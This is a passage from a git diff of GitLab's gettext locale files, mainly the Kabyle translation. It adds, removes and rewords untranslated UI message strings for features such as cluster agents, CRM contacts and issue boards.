+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/kab/gitlab.po b/locale/kab/gitlab.po
index b5a059f367f..6fe12248f54 100644
--- a/locale/kab/gitlab.po
+++ b/locale/kab/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: kab\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:42\n"
+"PO-Revision-Date: 2021-12-06 19:00\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
